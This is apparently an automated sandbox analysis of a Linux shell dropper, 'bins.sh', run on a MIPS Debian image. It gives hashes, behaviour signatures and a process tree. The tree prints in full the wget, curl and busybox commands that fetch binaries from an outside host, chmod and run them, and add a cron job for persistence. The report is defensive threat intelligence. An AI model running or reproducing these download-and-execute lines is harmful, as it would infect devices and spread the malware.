Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 14:10

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ac4bd7b26cb70e05de6c040739c80e6b

  • SHA1

    495638d0f71a41f3b65c381017fe8ec29b82d867

  • SHA256

    43f1ed363e52f325a84c493dff701237079f014c52d7f0b1f6f93ce032706e15

  • SHA512

    3af14ed6345b5cea7eaf6932154d3df50a7094429349f212f7d0dcb80bdf8d5a0bc0efc113f2d112aef4c4f6a50472f003ae7e1798c721c29337412cd617cadf

  • SSDEEP

    192:l1FtxGQrzXvIZNW9VxQvPwYUdCSDtx5jXvIZNUVxQvPsYUdCST:l1QQvXvIZNW9VxQvP0XvIZNUVxQvPA

Malware Config

Signatures

  • Contacts a large (1719) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • System Network Configuration Discovery
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            ./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:759
            • /bin/chmod
              chmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              ./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:771
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:781
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:799
              • /bin/chmod
                chmod 777 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • File and Directory Permissions Modification
                PID:803
              • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                ./upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:805
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:807
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:809
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:810
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:812
                    • /bin/rm
                      rm upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                      2⤵
                        PID:815
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                        2⤵
                        • System Network Configuration Discovery
                        PID:818

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF

                      Filesize

                      141KB

                      MD5

                      3ca8decdb1e52c423c521bfff02ac200

                      SHA1

                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                      SHA256

                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                      SHA512

                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                    • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                      Filesize

                      112KB

                      MD5

                      05d7857dcead18bbd86d2935f591873c

                      SHA1

                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                      SHA256

                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                      SHA512

                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                    • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv

                      Filesize

                      151KB

                      MD5

                      6c583043d91c55aa470c08c87058e917

                      SHA1

                      abf65a5b9bba69980278ad09356e53de8bb89439

                      SHA256

                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                      SHA512

                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                    • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy

                      Filesize

                      119KB

                      MD5

                      1b166b95f9cb4b079ef1b9ec8363ddf3

                      SHA1

                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                      SHA256

                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                      SHA512

                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                    • /var/spool/cron/crontabs/tmp.POM3Ih

                      Filesize

                      210B

                      MD5

                      41d98b4367b875f309faf74c0f7a5194

                      SHA1

                      6737cdfea6a43a2baaf464a9767400c2c36f7855

                      SHA256

                      8cc6bde83a1c4093d210b1b5aa6ad6bda5e277c01d35ab00ad81cacabca664cc

                      SHA512

                      6ec17ba659857209ddcd124eb97c5a2a57ae2ff4fab75c5c646355ac410bfcb8966e975ddb9666cc8b8591b2326415e9489784905959c734b2268e5c7251b527